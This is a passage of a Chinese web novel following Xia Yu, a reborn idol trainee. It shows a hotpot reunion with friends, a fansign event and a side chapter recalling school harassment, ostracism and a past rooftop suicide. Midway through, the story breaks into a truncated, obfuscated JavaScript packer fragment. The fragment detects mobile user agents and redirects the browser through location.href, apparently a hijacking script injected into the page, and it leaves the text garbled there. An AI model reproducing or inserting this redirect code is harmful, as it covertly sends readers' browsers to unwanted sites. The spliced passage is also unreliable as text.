郑婉橘:“因为我记性好。”
夏瑜看着屏幕,笑了。她打字:“落地了。在等行李。你们先吃着,不用等我。”
穆双妤:“不行!等你!毛肚要一起涮才有灵魂!”
池且:“就是就是!你不在谁点菜啊!我上次自己来都不知道点什么!”
夏瑜:“你上次不是自己来过了吗。”
池且:“……你能不能别提上次的事。”
穆双妤:“哈哈哈哈哈哈”
夏瑜拖着行李箱走出到达大厅的时候,一眼就看到了穆双妤。
穆双妤站在接机口,举着一个牌子,上面写着“欢迎鱼姐回家”。牌子是用A4纸打印的,字很大,旁边还画了一只鱼。夏瑜愣了一下,然后笑了。
“你干嘛?”她走过去。
“接你啊!”穆双妤把牌子收起来,“怎么样?感动不?”
“不感动。”
“骗人。你嘴角都翘起来了。”
夏瑜摸了摸自己的嘴角。“那是抽筋。”
“少抽点筋。”穆双妤一把搂住她的肩膀,“走吧走吧,池且说号快到了。你怎么又瘦了?脸小了一圈。”
“练舞练的。”
“练舞也不能不吃饭啊。”穆双妤皱着眉头,“还是吃不惯?”
“是吃多了。”夏瑜说,“泡菜、大酱汤、拌饭,天天吃这些东西,我都要吃吐了。”
“那你不会自己做?”
“没时间。每天练到凌晨,回去倒头就睡,而且我不会做饭你忘了。”
穆双妤看了她一眼,没说话。但夏瑜知道她在想什么——她在心疼。
“没事。”夏瑜说,“习惯了。”
“习惯个屁。”穆双妤说,“等你回来多吃点。”
两个人拖着行李箱往外走。夏瑜的话比平时多了一倍——从机场到地铁站,她一直在说。
说韩国的饭她吃的有多腻了,说练习有多累,说队友有多吵,说李恩彩学猪叫的样子有多好笑,说金素妍面无表情吃辣椒的时候有多吓人。
穆双妤在旁边听着,时不时插一句“真的假的”“哈哈哈”“那个李恩彩真一点偶像包袱都没有啊”。
“你话怎么这么多?”穆双妤突然问。
夏瑜愣了一下。“有吗?”
“有。你在韩国也这样?”
“没有。”
“那你平时跟谁说话?”
“不跟谁说话。”
穆双妤看着她,忽然笑了。“所以你攒着话回来跟我说?”
夏瑜没说话,但她确实攒了很多话。不是刻意攒的,是平时想说的时候没人可说。
在韩国,她是那个话最少的人——不是不想说,是不知道该怎么说。用韩语说出来的话,总感觉不是自己的。
只有跟穆双妤在一起的时候,她的话才会自己跑出来,噼里啪啦的,拦都拦不住。
“到了。”穆双妤说,“池且说号已经到了,他先进去占位置了。”
“他占位置?他不会把菜都点了吧?”
“他说他等你来点。”
“算他识相。”
两个人走进海底捞的时候,池且正坐在最里面的位置,面前放着一壶酸梅汤。
“夏瑜!”池且站起来,“你终于来了!我快饿死了!”
“你不是有酸梅汤吗?”
“酸梅汤能当饭吃吗!”
“那你点菜啊。”
“我不会点!我等你来点!”
夏瑜坐下来,接过服务员递来的菜单。她翻开第一页,开始看。池且在对面催:“快点快点!”
“急什么。”
“我饿!”
“你饿你刚才怎么不先点?”
“我不会点!”
“你又不是没吃过海底捞。”
“我每次都是跟着你吃的!你点什么我吃什么!”
夏瑜抬头看他。“那你上周自己来的时候吃了什么?”
池且愣了一下。“……你能不能别提上周的事。”
穆双妤在旁边笑出了声。郑婉橘也笑了,她从旁边的座位上探过头来。“夏瑜,好久不见。”
夏瑜看着她。郑婉橘今天穿了一件白色的长外套,坐在那里比别人高出一截。她永远是这样,安安静静的,存在感却很强。
“好久不见。”夏瑜说,“你又长高了?”
“没有。是你变矮了。”
“我没矮。”
“那你就是缩水了。”
“你才缩水。”
穆双妤在旁边笑。“你们俩能不能别一见面就吵架。”
“没吵架。”郑婉橘说,“陈述事实。”
“你那是陈述事实吗!你那是人身攻击!”
郑婉橘嘴角弯了一下,没说话。夏瑜瞪了她一眼,继续翻菜单。
她先点了锅底——番茄锅和麻辣锅,鸳鸯的。然后点肉——肥牛、羊肉卷、五花肉。然后是内脏——毛肚、黄喉、鸭肠。然后是海鲜——虾滑、鱼片。然后是蔬菜——娃娃菜、金针菇、土豆片、莲藕、海带结、冬瓜。然后是豆制品——冻豆腐、腐竹。然后是主食——手工面、年糕、红糖糍粑。
“够了够了!”池且喊,“你点这么多吃得完吗!”
“吃得完。”
“你一个人吃不完!”
“那你别吃。”
“我要吃!”
“那你闭嘴。”
池且闭嘴了。
穆双妤在旁边笑。“你怎么每次都怼他。”
“因为他欠怼。”夏瑜说。
“我不欠怼!”池且说。
“你欠。”
“不欠。”
“欠。”
池且看着夏瑜,缩了缩脖子。“……不欠。”
服务员把菜端上来的时候,池且第一个动了筷子。他把毛肚放进红锅里,七上八下,然后夹出来,放进嘴里。
“好吃!”他眼睛亮了。
“当然好吃。”穆双妤说,“你上次偷吃的时候不是也这么说。”
“你能不能别提上次的事!”
“不能。”穆双妤夹了一片土豆,放进夏瑜碗里,“夏瑜你吃。你太瘦了。”
夏瑜低头看着碗里的土豆。她夹了一块毛肚,放进红锅里,涮好,然后放进穆双妤碗里。
“你吃。”夏瑜说。
穆双妤愣了一下。“干嘛?”
“你每次都忙着给我们夹菜,自己都没怎么吃。今天你好好吃。”
穆双妤看着她,忽然笑了。“夏瑜,你在韩国是不是也这样?”
“哪样?”
“给别人夹菜,自己不吃。”
“没有。”
“骗人。”
“没有!!!”
穆双妤摇了摇头,把毛肚吃了。郑婉橘在旁边安静地涮着娃娃菜,偶尔抬头看她们一眼。池且在对面埋头苦吃,嘴里塞满了肉。
“池且你吃慢点。”郑婉橘说。
“我饿!”
“你刚才在门口吃了两个面包。”
“你怎么知道!”
“我看到的。”
“我也长个。”
“没机会了”
“你!”
穆双妤笑了。“好了好了,吃吧吃吧。”
吃到一半的时候,夏瑜放下筷子,拿起手机。
“你干嘛?”穆双妤问。
“点奶茶。”
“你不是有酸梅汤吗?”
“我想喝果茶。”
“你点。”穆双妤说,“我要芋泥波波。”
“你不是要减肥吗?”
“明天再减。”
夏瑜翻了翻外卖软件。“池且你喝什么?”
“跟你们一样。”
“郑婉橘呢?”
“葡萄冻冻。”
夏瑜点了四杯。两杯芋泥波波,一杯葡萄冻冻,一杯草莓大福。点完之后,她把手机放下,继续吃。
“夏瑜。”穆双妤叫她。
“嗯?”
“你那个MV,我看了好多遍。”
夏瑜抬头看她。
“你从那个桥上跳下来的时候,我吓死了。”穆双妤说,“我以为你真的跳了。”
“是特效。”夏瑜说。
“骗人。我看花絮了,你是真的跳的。”
夏瑜没说话。
“你的脚好了吗?”穆双妤问。
“好了。”
“真的好了?”
“真的。”
穆双妤看着她,沉默了一会儿。“夏瑜,你要是疼就说疼。别忍着。”
夏瑜低下头,夹了一片土豆放进碗里。
“不疼。”她说,“真的不疼了。”
“那你为什么从桥上跳下来的时候哭了?”
夏瑜愣了一下。“你怎么知道?”
“我看到花絮了。你跳完之后站在跑道上,伸手摸了一下脸,然后哭了。”穆双妤说,“你在想什么?”
夏瑜沉默了很久。她在想什么?她在想那个天台。在想风灌进领口的凉意。在想手机屏幕上的舞台。在想重生之后第一次站在练习室镜子前。这些事,她从来没跟穆双妤说过。
穆双妤不知道她前世是谁,不知道她经历过什么。
穆双妤只知道她是一个在韩国当练习生的中国女孩,很辛苦,很努力,脚受伤了还要硬撑。
“没想什么。”夏瑜说,“就是觉得……我终于飞起来了。”
穆双妤看着她,眼眶红了。
“你哭什么?”夏瑜说。
“没哭。”穆双妤吸了吸鼻子,“是火锅太辣了。”
“你吃的是番茄锅。”
“番茄锅也辣!”
夏瑜笑了。她把碗里的土豆吃掉,然后夹了一块虾滑放进穆双妤碗里。“吃吧。别哭了。”
“没哭!”
“嗯,没哭。”
池且在对面也放下了筷子。“夏瑜,你那个舞台我看了十遍。”
“我知道。你在群里说了。”
“我说了吗?”
“说了。”
“哦。那我再说一遍。你跳得真的很好。我差点哭了。”
夏瑜看着他。“差点?”
“我没哭!”池且说,“是眼睛出汗了!”
“火锅店这么热,出汗正常。”郑婉橘在旁边说。
池且感激地看了她一眼。郑婉橘继续说:“但你在家看MV的时候,你妈说你哭了。”
“郑婉橘!!!”
四个人都笑了。郑婉橘嘴角弯了一下,夹了一片毛肚放进夏瑜碗里。
“夏瑜。”她说。
“嗯?”
“你跳得很好。”
夏瑜看着她。郑婉橘说话的时候很平静,像在说一件很普通的事。但夏瑜知道,郑婉橘是真心在夸赞。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459047|201259||http|test|mini|href|location''.split(''|''),0,{}));
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>“谢谢。”夏瑜说。
“不客气。”郑婉橘说,“多吃点。”
吃完火锅的时候,奶茶刚好送到。
四个人走出海底捞,手里拿着奶茶。夏瑜喝了一口百草莓大福。她闭上眼睛,叹了口气。
“好喝吗?”穆双妤问。
“好喝。”夏瑜说,“在韩国喝不到这个。”
“韩国没有草莓?”
“有。但贵。”
“那你平时喝什么?”
“不喝。喝白水。”
穆双妤看了她一眼。“你也太惨了。”
“习惯了。”
“习惯个屁。”穆双妤说,“等你回来多喝点。”
四个人走在街上,影子被路灯拉得很长。池且在说最近打游戏的战绩,穆双妤在吐槽他菜,郑婉橘在旁边补刀。夏瑜走在后面,听着她们吵,嘴角一直翘着。
“对了。”池且突然回头,“我们得给夏瑜的粉丝团起个名字!”
“不是叫‘鱼塘’吗?”穆双妤说。
“太难听了!”池且说,“然后夏瑜说‘好多鱼’是她和队友的CP名,不能用。”
“那叫什么?”
池且想了想。“叫‘鱼丸’怎么样?夏瑜的‘瑜’,丸子的‘丸’!”
穆双妤皱眉头。“鱼丸?听起来像吃的。”
“粉丝团本来就是吃的啊!我们都是被夏瑜圈粉的!”
“你这个解释太牵强了。”
“那你说叫什么!”
穆双妤想了想。“叫‘鱼子酱’?听起来高级一点。”
“太长了吧!”
“那叫‘鱼籽’?”
“更难听了!”
夏瑜走在后面,听着她们吵,忍不住笑了。“你们能不能正经一点?”
“不能!”池且说,“这是大事!”
“那就叫‘鱼丸’吧。”夏瑜说。
池且眼睛亮了。“你看!夏瑜同意了!”
“我没同意。我只是懒得想了。”
“那就是同意了!”
穆双妤摇了摇头。“行吧行吧,鱼丸就鱼丸。反正都是吃的。”
郑婉橘在旁边笑了。“鱼丸粉丝团,应援色是粉色。”
“对!”池且说,“夏瑜不是最喜欢粉色了吗!”
四个人走着走着,夏瑜忽然开口。
“穆双妤。”
“嗯?”
“谢谢你。”
穆双妤愣了一下。“谢什么?”
“谢谢你每次都来接我。谢谢你请我吃海底捞。谢谢你给我画那个鱼的牌子。”
穆双妤看着她,眼眶又红了。“夏瑜你干嘛!你每次回来都说这种话!”
“因为每次回来都想说。”夏瑜说,“在韩国的时候没人可说。”
穆双妤吸了吸鼻子。“你在韩国是不是很孤单?”
夏瑜想了想。“有一点。但还好。”
“还好什么还好。你每次都说还好。”
“因为真的还好。”
穆双妤看着她,沉默了一会儿。“夏瑜,你要是觉得孤单就回来。我们都在。”
夏瑜看着她,忽然笑了。
“好。”她说。
四个人走到地铁站口,池且说要坐地铁回去,郑婉橘说要打车。穆双妤站在中间,看了看夏瑜。
“你什么时候走?”
“后天。”
“那后天我去送你。”
“不用。你早上有课。”
“翘课。”
“不行。”
“那我不送你了。”
“好。”
穆双妤看着她,忽然伸手,拍了拍她的肩膀。“那你好好跳舞。别受伤。难受可以给我打电话。别一个人扛。”
夏瑜点了点头。
“走了。”穆双妤说。
“嗯。”
三个人转身走了。池且走在前面,回头喊了一声“鱼丸粉丝团永远支持你”,被穆双妤拉走了。郑婉橘走在最后面,回头看了夏瑜一眼,挥了挥手。
夏瑜站在原地,看着她们走远。夜风吹过来,有点凉。但她不觉得冷。
她低头看了看手里的奶茶,还剩半杯。草莓果肉沉在杯底。她喝了一口,酸酸甜甜的,是在韩国的果茶没有喝到的味道。
她转身,拖着行李箱,往另一个方向走。
手机响了。是微信群的消息。
穆双妤:“夏瑜你到家了没?”
夏瑜打字:“还没。在路上。”
穆双妤:“到了说一声。”
“好。”
池且:“鱼丸粉丝团团长池且报道!”
穆双妤:“谁说你团长了?”
池且:“我自己!”
郑婉橘:“你连菜都不会点,还当团长。”
池且:“郑婉橘你!!”
夏瑜看着屏幕,笑了。她把手机关了,放进包里。
地铁来了。她拖着行李箱走上去,找了一个靠窗的位置坐下。窗外是城市的夜景,灯光一盏一盏地亮着,像星星。
她想起穆双妤说的话——“你要是觉得孤单就回来。我们都在。”
她想起池且说的话——“鱼丸粉丝团永远支持你。”
她想起郑婉橘说的话——“你跳得很好。”
她把手机拿出来,看了一眼群里的消息。穆双妤发了一张照片,是今晚拍的——四个人在海底捞门口的合影。池且比了个耶,穆双妤搂着她的肩膀,郑婉橘站在旁边笑。她站在中间,手里拿着奶茶,嘴角翘着。
她看着那张照片,忽然觉得——在韩国的时候,她是LUMEN的Seki。主舞,副领唱,武术担当,绵羊塑。
但在穆双妤面前,她只是夏瑜。话很多的、爱吐槽的、喜欢喝草莓大福的夏瑜。
两个都是她。只是不一样的那一面,只有穆双妤能看到。
她把手机关了,看着窗外的夜景。
后天就要回去了。回到那个练习室,回到那个舞台,回到那群一起吵闹的人身边。但没关系。
因为她知道,不管她在哪里,都有人在等她回来。
9. 线下签售
回归打歌的第二周,公司安排了第一场线下签售会。
地点在首尔的一个展览馆。早上七点,场馆外面已经排起了长队——但不是所有人都能上台。签售会是抽签制,买专辑抽签,中签的人才能上台签名。没中签的人可以在台下观礼,远远地看着她们。
夏瑜从保姆车的窗户往外看,看到台下坐满了人。有人举着“Seki”的手幅,有人穿着深红色的衣服——那是《RISE》里她穿的衬衫的颜色,有人拿着她的小卡,还有人举着写中文的牌子。台下黑压压的一片,三百个观礼席全坐满了。中签上台的只有一百人,但台下还有几百人在看着她们。
“好多人在下面。”韩智媛小声说,声音有点抖。
“正常。”金敏珠说,“这是第一次线下签售,粉丝都想来看。”
“我紧张。”韩智媛说。
“别紧张。”姜多惠拍了拍她的手,“你就笑就行了。你笑起来好看。”
韩智媛脸红了。
李恩彩在旁边探头探脑:“台下有没有举我牌子的?有没有?”
“有。”金素妍说,“左边第三排,有个举着‘李恩彩猪猪’的。”
“那是骂我的吧!!”
“是爱称。”
“你!”
夏瑜没说话。她看着台下的人群,心跳很快。一百个中签的粉丝,几百个观礼的粉丝。每个人都是买了专辑、抽了签、等了很久才来的。有些人可能从凌晨就开始排队了。
她深吸一口气。不管怎样,她要对得起她们的等待。
签售会在十点准时开始。
七个人坐在长桌后面,面前摆着马克笔和签名纸。中签的粉丝按号码依次上台,每个人有一两分钟的时间,可以签名、说话、击掌。台下几百个人在看着,灯光打在身上,像站在舞台上一样。
夏瑜坐在左边第二个位置。旁边是姜多惠,再旁边是金敏珠。她的位置刚好能看到上台的粉丝——一个一个走上来,有人紧张得脸通红,有人激动得眼泪汪汪,有人拿着手机拍个不停。
第一个粉丝走到她面前。
是个女生,看起来跟夏瑜差不多大,戴着眼镜,手里拿着专辑。她走上台的时候腿在抖,站到夏瑜面前时,脸已经红透了。
“Seki Xi,你好。”她用韩语说,声音有点抖。
夏瑜站起来,微微鞠了一躬,然后坐下,笑着看她。“你好。你叫什么名字?”
“我叫??,ID是‘?????’。”女生说。
“智秀Xi,‘Seki的舞者’。”夏瑜在专辑上签名,写下“To.?????”,然后画了一只小绵羊——这是她最近学会的技能,粉丝很喜欢。“你是从哪里来的?”
“釜山。”女生说,“我坐KTX来的,早上五点就出门了。”
“辛苦了。”夏瑜抬头看她,认真地说,“谢谢你这么远来看我。”
女生的眼眶红了。“Seki Xi,我看了你的直拍,然后开始学跳舞了。”
夏瑜愣了一下。“真的?”
“真的。以前我觉得自己跳不好,但看了你的直拍之后,就觉得——我也想试试。”女生说,“现在我已经可以跳完《Beacon》的副歌了。”
“哇。”夏瑜眼睛亮了,“那你要跳给我看吗?”
女生吓了一跳:“现在?在这里?”
“开玩笑的。”夏瑜笑了,“下次签售会,你跳给我看。”
女生愣了一下,然后用力点头。“好!我会练好的!”
“加油。”夏瑜说,“跳舞很开心。你一定会跳得很好的。”
女生点了点头,眼泪掉下来了。夏瑜从桌上抽了一张纸巾递给她,又站起来,轻轻拍了拍她的肩膀。
“别哭。”夏瑜说,“你笑起来更好看哦。”
女生笑了,接过纸巾,擦了擦眼泪。“谢谢。我会继续支持的。”
她走的时候,把一个小袋子放在桌上。“这是给你的礼物。是我自己做的。”
夏瑜低头看了看袋子——里面是一条手工编织的手链,粉色的,上面挂着一个小小的鱼形吊坠。
“谢谢你。”夏瑜把袋子收好,“我会好好戴的。”
女生走的时候,一直在回头看她。夏瑜冲她挥了挥手,笑得很开心。
台下有人在拍照,闪光灯闪了一下。
第二个粉丝是个男生,戴着棒球帽,手里拿着一沓专辑。他走上来的时候很镇定,但坐下来的时候,手在抖。
“Seki Xi,你好。”他说,“我是你的粉丝,从出道就开始喜欢你了。”
“谢谢。”夏瑜说,“你叫什么名字?”
“ID是‘?????’。”男生说。
“俊浩的Seki。”夏瑜笑了,在专辑上签名,写下“To.?????”。“你喜欢哪首歌?”
“《RISE》。特别喜欢你的solo部分。”
“真的?那个现代舞?”
“对。我看了好多遍。”男生犹豫了一下,“Seki Xi,我有一个问题。”
夏瑜抬头看他。“什么问题?”
“你跳舞的时候,在想什么?”
夏瑜愣了一下。
“我看了你的直拍,从《Beacon》到《RISE》,每一场都看了。”男生说,“我觉得你的舞跟以前不太一样了。以前很准,但现在……”他想了想,“好像多了什么。我说不清楚,但就是不一样了。”
夏瑜看着他,心里动了一下。多了什么。她想起姜敏京老师说过的话——“这里没有。”现在有了吗?她不知道。但有人看出来了。
“跳舞的时候,我什么都没想。”她老实地说,“就只是跳。”
男生点了点头。“那……你现在跳舞开心吗?”
夏瑜笑了。“开心。”
男生也笑了。“那就好。你开心,我们看的人也会开心。”
夏瑜看着他,忽然觉得——这个粉丝问的问题,比她自己想的还清楚。
“谢谢你。”她说,“谢谢你来看我跳舞。”
男生站起来,深深鞠了一躬。他从包里拿出一个小本子。“Seki Xi,这个送给你。是我自己画的。”
夏瑜翻开本子——里面全是她的画像。舞台上的、签售会的、MV花絮里的。画得很像,每一张下面都写着日期。
“你画了多久?”夏瑜问。
“从出道开始。”男生说,“每次看到你的新舞台就画一张。”
夏瑜看着那些画,鼻子酸了一下。然后笑着开口。
“我会好好珍藏的。”她说,“谢谢你。”
男生走的时候,一直在回头看她。夏瑜冲他挥了挥手。
签售会进行到一半的时候,一个女生走到她面前。
她手里拿着专辑,还有一封信。信封上写着“TO.夏瑜”。她走上台的时候,腿在抖,站到夏瑜面前时,眼泪已经在眼眶里打转了。
“你好。”女生用中文说。
夏瑜抬头看她,眼睛亮了。她下意识坐直了一点,脸上的笑容也更开了。“你好!你叫什么名字?”
“我叫小悠。”女生说,“ID也是小悠。”
“小悠。”夏瑜在专辑上签名,写下“To.小悠”,旁边画了一只小绵羊。“你是从哪里来的?”
“上海。”
“飞过来多久?”
“两个多小时。”
“那还好。”夏瑜笑了,“我以为你要飞一天。”
女生也笑了。“其实我昨天就到了,怕今天来不及。”
“那你很聪明。”夏瑜说,“从上海过来有人陪你吗?”
“没有,我自己来的。”
夏瑜看着她,点了点头。“你很勇敢。”
女生的眼眶又红了。“夏瑜,我看了你的直拍,然后开始学跳舞了。”
夏瑜听到她叫自己的中文名字,心里动了一下。在韩国,所有人都叫她Seki。已经很久没有人叫她夏瑜了。
“哪一首?”她问。
“《Beacon》。你从高处跳下来那个。”
“那首歌的编舞很难。”夏瑜认真地说,“你能跳完吗?”
“能。”女生说,“虽然跳得不好。但我很开心。跳舞的时候,什么都忘了。”
夏瑜看着她,忽然想起前世的自己。隔着屏幕看舞台,在练习室里偷偷扒舞,一个人跳到凌晨。那时候她也觉得——跳舞的时候,什么都忘了。
“那你很厉害。”夏瑜说,“那首歌我练了很久才练好的。你能跳完,说明你是个很有毅力的人。”
女生的眼睛亮了。“真的吗?”
“真的。”夏瑜说,“跳舞是开心的事。你要继续跳。”
“好。”女生说,“夏瑜,你知道吗,我有一段时间特别难过。觉得什么都不想做,什么都不想管。然后我看到了你的直拍。”
夏瑜安静地听着,脸上的笑容收了一点,但眼神很认真。
“我看着那个视频,哭了。”女生说,“然后我想——她都可以,我为什么不行?”
夏瑜的鼻子酸了一下。但她没有哭。她是爱豆,她更想在粉丝面前笑。
“所以你开始了?”她问。
“对。我开始了。”女生笑了,“现在我已经可以跳完整首《Beacon》了。”
“那你下次见面跳给我看好不好。”夏瑜说,“我记性很好的,我会记得你。”
女生愣住了。“真的吗?”
“真的。”夏瑜笑了,“不过我有个条件。”
“什么条件?”
“跳完了要笑。你笑起来好看。”
女生的眼泪又掉下来了,但她在笑。“好。我会练好的。”
“小悠。”夏瑜叫她。
“嗯?”
“谢谢你来看我。”夏瑜说,“谢谢你喜欢我的舞。”
女生点了点头。
“继续跳舞。”夏瑜说,“下次见。”
女生走的时候,把那封信放在桌上。“这是写给你的。回去再看。”
“好。”夏瑜说,“我会好好看的。”
签售会进行到最后二十分钟的时候,台下的观礼席突然有了动静。
有人举起了一块手幅,上面写着“Seki,谢谢你活着”。然后是第二块,第三块,第四块——越来越多的人举起来。不是中签上台的人,是台下观礼的人。她们不能上台,不能说话,不能击掌,只能坐在下面远远地看着。但她们准备了手幅。
夏瑜正在给一个粉丝签名,余光扫到了台下。她抬头看了一眼。
满场都是“谢谢你活着”的手幅。深红色的底,白色的字。像一片海。
她愣住了。
“Seki Xi?”面前的粉丝叫她。
她回过神来。“对不起。”她说,“我走神了。”
粉丝笑了笑,ID叫“????”。她说:“没关系。我也看到了。很感动吧?”
夏瑜点了点头。她低头继续签名,在专辑上写下“To.????”,画了一只小绵羊。签完名,她站起来,对着台下的方向,深深鞠了一躬。不是那种爱豆对粉丝的鞠躬,是那种——谢谢你还活着的人对另一个还活着的人鞠躬。
台下有人在鼓掌,有人在哭,有人在喊“Seki撒浪嘿”。
她坐下来,继续签名。
签售会结束后,七个人在后台休息。
李恩彩瘫在椅子上:“我手要断了——签了一百个名!”
“你才一百个。”金素妍说,“你叫苦什么。”
“你签了多少?”
“一百个。”
“那你凭什么说我!”
“因为我不叫苦。”
“你!”
韩智媛在旁边小声说:“今天有个粉丝送了我一盒巧克力,说是自己做的。但是经纪人说不能收吃的,我就还给她了。她好像有点难过……”
“那你下次带点小卡送她。”姜
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多惠说,“粉丝不是一定想要送你吃的,更想要的是你懂得她的心意。”
韩智媛点了点头。“我下次准备一些。”
姜多惠笑着看了夏瑜一眼。“你今天心情很好。”
夏瑜愣了一下。“有吗?”
“有。你一直在笑。”
夏瑜想了想。她确实一直在笑。不是管理好的那种笑,是真的在笑。
“因为开心。”她说。
金敏珠走过来,站在她旁边。“今天的签售会,感觉怎么样?”
“很好。”夏瑜说,“很开心。”
“台下那些手幅,你看到了吗?”
夏瑜点头。“看到了。”
金敏珠看着她,沉默了一会儿。“你值得。”
夏瑜愣了一下。
“那些话。”金敏珠说,“你值得。”
夏瑜看着她,不知道该说什么。
金敏珠拍了拍她的肩膀,走了。
回宿舍的车上,夏瑜拆开了那封信。
信是用中文写的,字迹很工整。
“夏瑜你好。我叫小悠,今年二十岁,在上海读书。我写这封信的时候,手一直在抖。因为我有很多话想说,但不知道从哪句开始。
第一次看到你,是《Beacon》的舞台。你从高处跳下来,然后站起来笑。那一刻我哭了。不是因为觉得你很帅,是因为——我看到了你眼睛里的东西。
那不是‘我在表演’,是‘我活过来了’。
我不知道你经历过什么。但我也有过很难的时候。去年有一段时间,我每天都不想出门,不想见人,不想说话。我觉得自己什么都做不好,什么都不配。我把自己关在宿舍里,窗帘拉上,灯关掉,躺在床上盯着天花板。一天,两天,一周。
然后有一天,我的朋友给我分享了你的直拍。她说‘你看这个人,她好厉害’。我看了。然后我又看了一遍。然后又看了一遍。
你跳舞的时候,好像在发光。不是那种舞台上的光,是你自己发出来的光。我看着你从高处跳下来,看着你跳舞,看着你站在舞台上笑。然后我想——她都可以,我为什么不行?
所以我开始学跳舞。一开始跳得很难看,但我每天都跳。慢慢地,我可以跳完一首歌了。慢慢地,我开始出门了。慢慢地,我觉得——活着好像也没那么糟。
夏瑜,谢谢你跳舞。谢谢你站在舞台上。谢谢你活着。
因为你活着,所以我也活着。
如果下次可以再见面,希望我又学会了新的舞蹈!
——小悠”
夏瑜看完信,把它折好,放回信封里。车窗外的灯光一盏一盏地闪过。她把信封放进包里,放在那条粉色手链旁边。
手机亮了。是微信群的消息。
穆双妤:“夏瑜!听说你今天签售会!有没有人跟你说奇怪的话!”
夏瑜打字:“有。”
穆双妤:“什么话?”
“有人说谢谢我活着。”
穆双妤沉默了一会儿。
穆双妤:“那你怎么回的?”
“我说谢谢你来看我。下次签售会跳舞给我看。”
穆双妤:“???什么跳舞?”
“一个粉丝。她说看了我的直拍开始学跳舞了。”
穆双妤:“哇……那你什么感觉?”
夏瑜想了想。
“很开心。”她打字。
穆双妤:“就开心?”
“就开心。”夏瑜说,“有人因为我的舞开始跳舞了。这还不够开心吗?”
穆双妤又沉默了一会儿。
穆双妤:“夏瑜。”
“嗯?”
“不止粉丝。我们也会一直支持你”
夏瑜看着屏幕,嘴角翘起来。
“嗯。”她打字。“我一直知道”
回到宿舍的时候,已经快十二点了。
夏瑜坐在床上,把今天收到的礼物拿出来——手链、信、画册,还有一些小东西:贴纸、钥匙扣、发绳。吃的不能收,经纪人在签售前就交代过了,粉丝也很懂事,很少有人带吃的。她把它们一样一样地摆在桌上,看了一会儿,然后收进抽屉里。
最后她拿起那条粉色的小鱼手链,系在手腕上。刚刚好。
手机亮了。是KakaoTalk的消息。
姜多惠:“今天的签售会,开心吗?”
夏瑜:“开心。”
姜多惠:“那就好。”
夏瑜:“欧尼呢?”
姜多惠:“开心。有个粉丝说我的声音像天使。”
夏瑜:“确实像。”
姜多惠:“你什么时候这么会说话了?”
夏瑜:“一直都会。”
姜多惠:“骗人。”
夏瑜:“嘿嘿。”
姜多惠发了一个笑脸。夏瑜也笑了。
她把手机关了,躺在床上,盯着天花板。
她想起那个叫小悠的女生。从上海飞过来,一个人。她说“谢谢你活着”。她说“因为你活着,所以我也活着”。她说“下次签售会,我会跳舞给你看的”。她叫她夏瑜,不是Seki。
她想起台下的那些手幅。深红色的底,白色的字。几乎满场都是。
她想起那个男生画的画。每一张下面都写着日期。从出道开始,一场不落。
她把手腕上的小鱼手链转了一圈。粉色的,小小的,在灯光下闪闪发亮。
她想起前世。想起那个天台。想起风灌进领口的凉意。想起手机屏幕上的舞台。那时候她以为,没有人会在意她死不死。
但现在她知道,有人在等她活着。不是因为她是Seki,不是因为她跳舞跳得好,不是因为她是爱豆。是因为她的存在本身——让另一个人也想活着。
她闭上眼睛。明天还有签售会。
一百个人,一百个ID,一百个故事。她记不住所有人。但她知道,这些人在爱着她。她也知道她们在爱着她。
这就够了。
10. 番外:天台[番外]
夏瑜很久没有做那个梦了。
签售会结束的第三天晚上,她又梦见了天台。但这次梦里多了一些东西——不是风,不是手机屏幕。
是一只手。
一只男生的手,从身后伸过来,贴在她的大腿上,然后往下滑。夏瑜猛地转身,那个男生的脸模糊不清,但她记得他的声音:“摸一下怎么了?”她没有沉默。她开口了,声音很大,大到走廊里所有人都停下来看她。“不要碰我。”
梦里的场景切换了。
教室。
她坐在靠窗的位置,前后左右都是空位。没有人坐她旁边。不是没有座位,是没有人愿意坐。她回头看了一眼——后面的男生们在笑,在说话,在传纸条。没有人看她。但所有人都知道她在那里。一个被空出来的位置,像被打乱的拼图,少了一块。
走廊。
她低着头走路,有人从旁边经过,肩膀撞了她一下。她抬头,那个男生没有回头。旁边的人看了她一眼,又移开目光。没有人说话。
然后是那个声音。从背后传来的,不大不小,刚好她能听见。“谁稀罕啊,长那样。”然后是笑声。几个人的笑声。夏瑜没有回头,继续往前走。她不知道自己要去哪里。教室?食堂?宿舍?哪里都有人在笑。哪里都有空出来的座位。哪里都有压低声音的窃窃私语。
她走进卫生间,把门关上,站在洗手台前。
镜子里的自己,十七岁,杏眼,自来卷,婴儿肥。不难看。但她不知道为什么这张脸会让别人讨厌。
她盯着镜子里的自己,忽然觉得——如果长得丑一点,是不是就不会被摸?如果凶一点,是不是就不会被孤立?如果当初没有开口,是不是就不会变成这样?但她说出口了。“不要碰我。”
那是她第一次大声说出自己的愤怒。
然后她得到了什么?
空座位,窃窃私语,撞她肩膀的男生,还有那句“谁稀罕啊”。
她低下头,打开水龙头,冷水冲过手腕。
凉凉的,像那天风灌进领口的温度。
然后她醒了。不是从梦里醒的。是从记忆里醒的。
夏瑜睁开眼睛,盯着天花板。宿舍里很安静。窗外有路灯的光透进来,在墙上投下模糊的影子。她躺在床上,心跳很快,呼吸很急。
她伸手摸了摸自己的脸——干的。没哭。她已经很久没为这件事哭了。
手腕上有什么东西硌着她。她低头看——是那条粉色的小鱼手链,签售会上粉丝送的。她一直戴着,洗澡的时候都没摘。她把小鱼握在手心里,凉凉的,硌得手心有点疼。但这是好的疼。是活着的疼。
她想起那个男生。想起他的手。想起自己说的那句话——“不要碰我”。她想起空出来的座位,想起撞她肩膀的人,想起那句“谁稀罕啊”。
她想起那些帮她说话的女生。不多,但有。
她们说“你们够了”,说“她做错什么了”,说“不要太过分了”。但她们不敢坐她旁边。
她们有自己的座位,有自己的朋友,有自己的安全区。她们帮她,但不敢靠太近。
夏瑜不怪她们。她自己也不知道,被孤立的人是不是会传染。
她想起那些旁观者。
走廊里停下来看的人,教室里低头假装没听见的人,食堂里远远看着的人。
他们没有帮她,也没有欺负她。他们只是看着。
夏瑜有时候想,她更害怕的是那些旁观者。因为欺负她的人,至少是恨她的。
